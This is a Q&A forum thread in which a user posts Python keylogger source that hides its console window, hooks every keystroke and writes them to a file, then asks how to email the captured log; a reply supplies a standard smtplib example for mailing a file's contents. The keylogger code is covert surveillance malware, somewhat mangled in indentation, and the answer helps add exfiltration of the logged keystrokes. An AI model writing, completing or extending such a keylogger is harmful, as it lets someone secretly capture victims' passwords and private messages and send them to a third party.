-3

I've recently created a python keylogger. The code is :

import win32api
import win32console
import win32gui
import pythoncom,pyHook

win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

def OnKeyboardEvent(event):
if event.Ascii==5:
    _exit(1)
if event.Ascii !=0 or 8:
#open output.txt to read current keystrokes
    f=open('c:\output.txt','r+')
buffer=f.read()
f.close()
#open output.txt to write current + new keystrokes
f=open('c:\output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
    keylogs='/n'
buffer+=keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

However, I would like this to send to my e-mail. Do you have any idea what I could add to allow this, or a separate program that would do this.

Thanks in advance

Tech Planet
  • 31
  • 1
  • 5
  • This keylogger code is not related to sending email. Did you try sending an email in Python? Any kind of email? With attachements? Did you try using [smtplib](https://docs.python.org/2/library/smtplib.html)? Replace this code with your code which sends emails. – zvone Sep 25 '16 at 11:47

1 Answers1

0

The python docs has good documentation of emails in python.

# Import smtplib for the actual sending function
import smtplib

# Import the email modules we'll need
from email.mime.text import MIMEText

# Open a plain text file for reading.  For this example, assume that
# the text file contains only ASCII characters.
with open(textfile) as fp:
    # Create a text/plain message
    msg = MIMEText(fp.read())

# me == the sender's email address
# you == the recipient's email address
msg['Subject'] = 'The contents of %s' % textfile
msg['From'] = me
msg['To'] = you

# Send the message via our own SMTP server.
s = smtplib.SMTP('localhost')
s.send_message(msg)
s.quit()

This example has exactly what you are asking for.

Anish Gupta
  • 101
  • 1
  • 6